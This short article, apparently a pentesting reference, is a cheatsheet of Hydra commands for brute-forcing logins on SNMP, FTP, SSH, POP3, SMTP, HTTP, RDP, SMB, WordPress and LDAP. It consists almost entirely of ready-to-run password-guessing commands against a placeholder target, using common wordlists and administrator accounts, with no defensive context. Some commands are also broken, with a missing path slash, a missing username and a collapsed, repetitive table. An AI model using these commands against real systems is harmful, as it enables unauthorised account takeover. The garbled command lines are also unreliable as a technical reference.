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Article: Hydra Cheatsheet


Hydra is a password cracking tools which can be efficiently used against different services like HTTP, SMTP, POP3 or SSH.

Command Description
hydra -P password-file.txt -v $ip snmp Bruteforce against SNMP
hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp Bruteforce against FTP
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh Bruteforce against SSH
hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh Bruteforce against SSH using a known password

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh Hydra SSH using list of users and passwords hydra $ip -s 22 ssh -l -P big_wordlist.txt Hydra SSH Against Known username on port 22 hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V Hydra POP3 Brute Force hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V Hydra SMTP Brute Force hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin Hydra attack http get 401 login with a dictionary hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb Hydra brute force SMB user with rockyou: hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' Hydra brute force a Wordpress admin login hydra -L usernames.txt -P passwords.txt $ip smb -V -f SMB Brute Forcing hydra -L users.txt -P passwords.txt $ip ldap2 -V -f LDAP Brute Forcing